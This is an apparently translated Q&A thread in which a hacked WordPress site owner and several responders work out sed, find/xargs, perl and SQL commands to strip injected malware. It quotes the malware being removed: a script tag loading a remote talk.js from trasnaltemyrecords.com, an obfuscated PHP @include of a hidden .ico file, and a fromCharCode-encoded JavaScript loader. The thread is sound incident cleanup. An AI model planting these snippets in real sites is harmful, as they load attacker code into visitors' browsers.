Как заменить всю строку, используя sed или, возможно, grep - PullRequest
8 голосов
/ 07 ноября 2019

Итак, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый отдельный файл и в базу данных

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Я выполнил поиск по grep, используя

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Я пытаюсь заменить его во всей файловой структуре на sed, и я написал следующую команду:

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Я пытаюсь сначала заменить строку в одном файле index.phpя знаю, что это работает.

и я знаю, что мой код неверен. Пожалуйста, помогите мне с этим.

Редактировать: Я пытался с кодом @ Eran, и он удалил всю строку, что хорошо и как ожидалось. Тем не менее, общий жаргон такой:

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

И хотя я хочу удалить весь контент, я хочу сохранить открывающий тег php <?php.

Хотя решение @ slybloty легкои это сработало.

, чтобы полностью удалить код из всех затронутых файлов. Я запускаю следующие 3 команды, Спасибо всем вам за это.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Удалить строку сценария
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Удалить @include line
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - чтобы удалить строку комментария

Кроме того, я снова запустил все 3 команды для '*.html', потому что скрипт хакера создал нежелательный index.html во всехкаталоги. Я не был уверен, является ли правильным удаление массива index.html.

Теперь мне все еще нужно выяснить ненужные файлы и его следы.

РЕДАКТИРОВАТЬ 2:

Хакерский скрипт также добавил код JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Попытка выяснить, могу ли я sed также.

Ответы [ 7 ]

2 голосов
/ 08 ноября 2019

Какой бы метод вы ни решили использовать с sed, вы можете запускать несколько процессов одновременно для нескольких файлов с идеальными параметрами фильтрации с find и xargs. Например:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Будет:

  • find - найти
  • -type f - только файлы
  • -name '*.txt'- что заканчивается php
  • -print0 - печатать их, разделенные нулевыми байтами
  • | xargs -0 - для каждого файла, разделенного нулевым байтом
  • -P7 - прогон 7обрабатывает одновременно
  • -n1 - для каждого файла
  • sed - для каждого файла запускается sed
  • -i - редактировать файл на месте
  • '...' - скрипт sed, который вы хотите запустить из других ответов.

Вы можете добавить опцию -t к xargs, чтобы увидеть ход выполнения. См человек найти (человек аргументы] (http://man7.org/linux/man-pages/man1/xargs.1.html).

2 голосов
/ 07 ноября 2019

одинарные кавычки принимаются буквально. Там нет escape-персонажей. Поэтому, когда вы делаете var='hello\'', у вас есть не закрытая цитата. Используйте двойные кавычки, чтобы окружить команду sed, или вам нужно завершить строку в одинарных кавычках, добавить \' и снова открыть строку кавычек ... но это сбивает с толку. Кроме того, sed может использовать любой разделитель для разделения команд. Поскольку у вас есть косые черты в командах, было бы проще использовать запятые или что-то в этом родеТаким образом, вы можете сделать это:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Или второй метод, который я предложил, немного более запутан:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Этот пример скорее образовательный, чем практический. Вот как работает '\'':

Первый ': Завершить текущую заключенную в кавычки буквенную строку

\': Введите одинарную кавычку как буквенный символ

Второй ': Повторно введите заключенную в кавычки буквенную строку

Пока там нет пробелов, вы просто будете продолжать команду sed. Эта идея, как мне кажется, уникальна для bash.

Я оставляю сбежавшие < и > там, потому что я не совсем уверен, для чего вы используете это. sed использует \< и \> для обозначения соответствия слов. Я не уверен, является ли это намеренным или нет ...

Если это ничего не соответствует, то вы, вероятно, хотите избежать экранирования < и >.

Править: Пожалуйста, смотрите решение @ EranBen-Natan в комментариях для более практического решения актуальной проблемы. Мой ответ является скорее источником информации о том, почему OP запрашивал дополнительные вводы с помощью его исходной команды.

Решение для редактирования 2

Чтобы это работало, яЯ делаю предположение, что ваш sed имеет нестандартную опцию -z. Версия GNU sed должна иметь это. Я также делаю предположение, что этот код всегда появляется в формате длиной 6 строк

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Как это работает: мы используем начало строки fromCharCode, чтобы соответствовать всему. -z разбивает файл на нули вместо новых строк. Это позволяет нам искать прямые переводы строк.

[^\n]*\n - просто означает сопоставить все до перевода строки, а затем сопоставить перевод строки. Идея здесь состоит в том, чтобы избежать жадного сопоставления регулярных выражений. Поскольку мы не разделяем переводы строки (-z), регулярное выражение var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n будет соответствовать максимально возможному совпадению. Например, если \n}\n появится где-нибудь еще ниже в файле, вы удалите весь код между ним и вредоносным кодом. Таким образом, повторение этой последовательности 6 раз сопоставляет нас с концом первой строки, а также со следующими 5 строками.

grep -lr - просто рекурсивный grep, где мы перечисляем только те файлы, которые имеют соответствующий шаблон,Таким образом, sed не редактирует каждый файл. Без этого -i.bak (непонятно -i) превратится в настоящий беспорядок.

2 голосов
/ 07 ноября 2019

Используйте двойные кавычки (") для строки и не избегайте ни одинарных кавычек ('), ни тегов (<>). Избегать только косые черты (/).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
1 голос
/ 08 ноября 2019

У вас установлен плагин wp-mail-smtp? У нас такое же вредоносное ПО, и у нас были странные вещи в wp-content/plugins/wp-mail-smtp/src/Debug.php.

. Кроме того, ссылка на javascript есть в каждом поле post_content в wp_posts в базе данных WordPress.

0 голосов
/ 13 ноября 2019

Для меня сработало это:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Вам нужно искать: * .js, * .json, * .map

0 голосов
/ 09 ноября 2019

У меня сегодня то же самое, ко всем постам на странице добавлен скрипт. Я успешно справился с ними с помощью плагина https://en.wordpress.org/plugins/search-and-replace/.

Более того, я также нашел одну запись в столбце post_content таблицы wp_posts со следующей строкой:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

иудалил его вручную.

0 голосов
/ 08 ноября 2019

Сегодня я получил то же самое, ко всем постам на странице добавлен этот противный вирусный скрипт

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Я отключил его от базы данных

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

У меня нет файлов, зараженныхминимум

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

ничего не нашел, но я понятия не имею, как это попало в базу данных, из-за чего я совсем не спокоен.

Эта инфекция вызвала редиректы на страницах, хром в основном обнаруживаети заблокировать это. Не заметил ничего странного в - /wp-mail-smtp/src/Debug.php

...